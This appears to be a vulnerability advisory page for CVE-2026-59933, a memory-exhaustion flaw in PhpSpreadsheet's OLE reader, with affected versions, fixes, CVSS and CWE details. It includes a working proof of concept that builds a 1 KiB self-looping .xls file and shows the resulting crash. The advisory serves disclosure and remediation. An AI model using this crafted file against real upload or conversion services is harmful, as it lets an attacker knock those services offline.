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GHSA-xh5m-36r6-47m3 CVE-2026-59933

PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

High Packagist
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.46%
Chance of exploitation in the next 30 days. Higher than 39.98% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Fix
5.8.1
Upgrade phpoffice/phpspreadsheet to this version or later

Description

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

  • src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
  • src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
  • src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

  • src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
  • src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
  • src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

  • src/PhpSpreadsheet/Shared/OLERead.php:175-180
  • src/PhpSpreadsheet/Shared/OLERead.php:198-202
  • src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9));     // sector size 512
$set(32, pack("v", 6));     // mini sector size 64
$set(44, pack("l", 1));     // 1 SAT sector
$set(48, pack("l", 0));     // directory first sector 0
$set(56, pack("l", 4096));  // mini stream cutoff
$set(60, pack("l", 0));     // SSAT first sector 0
$set(64, pack("l", 1));     // one SSAT sector
$set(68, pack("l", -2));    // no MSAT extension
$set(72, pack("l", 0));     // no extension sectors
$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH

Observed output:

ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

  • Validate every OLE sector-chain walk with:
    • a visited-sector set to reject cycles;
    • maximum chain length based on file size and sector size;
    • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
    • rejection of negative sector IDs other than the documented end-of-chain marker.
  • Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
  • Apply the same guarded chain-walk helper to:
    • small-block depot chain construction;
    • small-block stream extraction;
    • big-block stream extraction;
    • readData().
  • Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Affected versions

Packagist

PackageVulnerableFixed in
phpoffice/phpspreadsheet
>= 4.0.0, < 5.8.1
5.8.1
phpoffice/phpspreadsheet
>= 3.3.0, < 3.10.7
3.10.7
phpoffice/phpspreadsheet
>= 2.2.0, < 2.4.7
2.4.7
phpoffice/phpspreadsheet
>= 2.0.0, < 2.1.18
2.1.18
phpoffice/phpspreadsheet
< 1.30.6
1.30.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpoffice/phpspreadsheet Packagist → 5.8.1

composer
composer require phpoffice/phpspreadsheet:^5.8.1

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
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